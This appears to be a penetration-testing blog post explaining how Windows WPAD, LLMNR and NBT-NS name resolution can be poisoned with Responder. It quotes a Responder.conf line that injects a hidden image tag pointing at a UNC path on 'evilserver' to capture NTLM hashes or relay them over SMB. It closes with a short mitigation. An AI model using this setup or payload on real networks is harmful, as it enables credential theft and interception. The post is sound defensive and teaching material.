WTF, WPAD?

There are two generations of promiscuous name resolution on Windows networks. NetBIOS Name Resolution (NBT-NS) and Link-Local Multicast Name Resolution (LLMNR). The process we'll use to poison them is nearly identical, but let's find out a bit more about how they work first.

Here's the processs a Windows host uses to resolve a single-label name (HOST01, THING02, etc.):

Client checks to see whether the name it is resolving is its own.
Client searches its hosts file (%SYSTEMROOT%\System32\drivers\etc\hosts) for the name.
Client appends its configured primary DNS suffix to the name and queries its configured DNS servers.
Client sends multicast LLMNR Name Query requests over IPv4 and IPv6.
If the network is running IPv4, client blasts the local IPv4 network with a NetBIOS Name Query broadcast.

The multicast address used in step 4 contains all Windows Vista or later systems and, unlinke NBT-NS, does not require the Computer Browser service to function.

Steps 4 and 5 are the most interesting, since it's more or less the networking equivalent of asking some random person in a strange city for directions. You just cross your fingers and hope they're not sending you to the wrong side of the tracks. Anyone can respond to these requests.

If we could somehow find a way to get a client to request a hostname that won't be resolved by steps 1 through 3, we could respond with a bogus response to an IP under our control and force an NTLM challenge/response or, even better, relay it elsewhere.

So we lie in wait for someone to request a name that doesn't exist and then, WHAMMO!, we pounce.

Or we wait for someone to open their web browser.

WPAD. It's Not a Bug, It's a Feature

Web Proxy Automatic Discover (WPAD) is a mechanism by which a browser can automatically discover proxy settings on a per-network basis and it's enabled by default on every NT-based operating system.

WPAD is helpful because it allows a client joined to a network to easily retrieve the configuration necessary for it to communicate with the outside world. WPAD is terrible because it resorts to broadcast name resolution unless an administrator has been savvy enough to prevent this from happening by configuring DNS/DHCP appropriately.

Here's the discovery process a client uses:

Send the local DHCP server a request and look for WPAD information (option type 252) in the response.
Query its configured DNS servers for a WPAD record.
Send multicast LLMNR Name Query requests over IPv4 and IPv6.
If the network is running IPv4, blast the local IPv4 network with a NetBIOS Name Query broadcast.

Well that looks familiar. With the exception of step 1, this is just the regular name resolution process we talked about in the previous section!

The one that resorts to a multicast/broadcast as a last resort, configured by default in some form or another on pretty much every NT-based operating system.

And what exactly does this WPAD record do? It tells the client which server it should be using as a proxy.

A Note About DNS Resolution

WPAD does something a little funny when it comes to DNS resolution. If the internal domain is something like FOO.BAR.BAZ.COM, here are the DNS queries WPAD will perform to find what it's looking for:

WPAD.FOO.BAR.BAZ.COM
WPAD.BAR.BAZ.COM
WPAD.BAZ.COM

If it doesn't find a record by step 3, it fails. Why do we care? If our DNS server is authoritative for FOO.BAR.BAZ.COM only and the BAZ.COM domain is not registered on the internet, then an attacker can register the BAZ.COM domain and provide whichever WPAD entry they like. Presto! Internet-based MitM.

Two Paths Diverged...

So we've got a broadcast-based name resolution baked into pretty much every version of Windows you're likely to run into that performs no validation checking on the responses it receives. What does that do for us, exactly?

Let's back out of this rabbit hole just a bit and take another look at the acronym. Web Proxy Auto Discover. It's for automatically configuring a proxy. So if we were to totally corrupt this process, what would we get out of it? We'd be in a position to tell the requesting host to use a proxy of our choosing.

And when it comes to choosing an evil proxy that supports WPAD poisoning, you can't do much better than Responder. Not only will Responder handle the LLMNR/NBT-NS poisoning for the WPAD name request and serve up the appropriate wpad.dat file that will configure the victim to use our machine as a proxy, it will also allow us to pull off the most exciting part of this attack with minimal fuss.

Check out this section of Responder.conf:

1
2
3
4


; HTML answer to inject in HTTP responses (before </body> tag).
; Set to an empty string to disable.
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
HTMLToInject = <img src='file://evilserver/fakepath/bogus_image.jpg' alt='Loading' height='1' width='1'>

That does exactly what you'd expect. On each HTTP response, it will insert an image stored on a UNC share. When the client's web browser renders the page, it will attempt to download this image from the SMB share and we've either got ourselves NTLM challenge/response hashes or, even better, a pretty fantastic SMB relay attack.

Wat. ELI5.

So. The WPAD discovery process, enabled by default, checks two places for a not-there-by-default setting before resorting to a broadcast/multicast name resolution process that performs no checks on the validity of the data it receives. When it finally does get this record, it will use whichever proxy server it's been told to use, even if that proxy server is totally fake and inserting evil UNC paths in every HTTP response.

TL;DR: Every NT-based operating system comes with a near-ideal LLMNR/NBT-NS poisoning setup baked in, unless an administrator configures WPAD using step 1 or 2. An attacker who responds to the multicast/broadcast request will be able to force the client to authenticate to the attacker's machine using NTLM, and execute a MitM attack.

B-e-a-utiful.

How do you avoid this cromulent heap of on-by-default silliness? Just configure a legit WPAD entry in steps 1 or 2 above (or both).

Update!